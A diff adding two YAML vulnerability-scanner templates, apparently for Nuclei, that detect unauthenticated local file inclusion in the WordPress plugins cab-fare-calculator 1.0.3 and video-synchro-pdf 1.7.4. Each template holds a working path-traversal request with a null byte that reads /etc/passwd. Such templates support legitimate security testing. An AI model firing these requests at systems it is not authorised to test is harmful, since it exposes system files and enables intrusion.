LFI Templates

vulnerabilities/wordpress/cab-fare-calculator-lfi.yaml

@@ -0,0 +1,23 @@
+id: cab-fare-calculator
+
+info:
+  name: WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion - Unauthenticated
+  author: Hassan Khan Yusufzai - Splint3r7
+  severity: high
+  reference: 
+  tags: wordpress,wp-plugin,lfi,wp
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

vulnerabilities/wordpress/video-synchro-pdf-lfi.yaml

@@ -0,0 +1,23 @@
+id: video-synchro-pdf
+
+info:
+  name: WordPress Plugin video-synchro-pdf 1.7.4 - Local File Inclusion - Unauthenticated
+  author: Hassan Khan Yusufzai - Splint3r7
+  severity: high
+  reference: 
+  tags: wordpress,wp-plugin,lfi,wp
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../etc/passwd%00'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200